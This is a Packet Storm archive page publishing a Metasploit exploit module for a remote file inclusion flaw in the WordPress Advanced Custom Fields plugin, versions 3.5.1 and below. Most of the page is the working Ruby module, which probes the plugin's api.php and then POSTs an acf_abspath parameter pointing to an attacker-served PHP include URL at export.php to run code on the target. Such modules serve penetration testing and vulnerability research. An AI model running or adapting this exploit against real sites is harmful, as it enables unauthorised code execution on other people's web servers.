exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Advanced Custom Fields Remote File Inclusion

WordPress Advanced Custom Fields Remote File Inclusion
Posted Jan 3, 2013
Authored by Charlie Eriksen | Site metasploit.com

This Metasploit module exploits a remote file inclusion flaw in the WordPress blogging software plugin known as Advanced Custom Fields. The vulnerability allows for remote file inclusion and remote code execution via the export.php script. The Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only works when the php option allow_url_include is set to On (Default Off).

tags | exploit, remote, php, code execution, file inclusion
advisories | OSVDB-87353
SHA-256 | 211cc121330742fad11775f13953820e22f2025d773fe3a885e62accdc9e3acd

WordPress Advanced Custom Fields Remote File Inclusion

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
This module exploits a remote file inclusion flaw in the WordPress blogging
software plugin known as Advanced Custom Fields. The vulnerability allows for remote
file inclusion and remote code execution via the export.php script. The Advanced
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
works when the php option allow_url_include is set to On (Default Off).
},
'Author' =>
[
'Charlie Eriksen <charlie@ceriksen.com>',
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '87353'],
['URL', 'http://secunia.com/advisories/51037/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/api.php"
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def php_exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'

print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
'data' => "acf_abspath=#{php_include_url}"
})

if res and res.body =~ /allow_url_include/
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
elsif res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end

end

end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close